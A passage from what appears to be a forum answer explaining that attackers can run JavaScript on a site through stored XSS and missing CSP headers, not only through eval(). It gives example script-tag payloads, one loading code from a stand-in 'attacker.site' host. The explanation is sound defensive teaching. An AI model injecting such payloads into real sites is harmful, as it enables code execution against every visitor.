eval() on their website's code.
As a quick search on GitHub can tell, using
eval is not that rare, it's actually pretty common. But
eval is not the only way to inject code.
XSS is a common vector. If you have a form asking for the user name, and you print the result later, unescaped, a user named
<script src='doma.in/scr.js'></script> can inject code.
eval() is not the only way an attacker can execute js code there are other ways too as mentioned below:
- Site is vulnerable to XSS:
If a webapplication is not sanitising the input/output parameters. It is easy to execute js code. Consider there exists stored XSS vulnerability. Attacker injects the code for ex:
<script src="http://attacker.site/malicious.js"/> the script will be loaded on every request made by legitamate users.
- If CSP header values are not in place.
I would suggest you to go through this post for further clear understanding.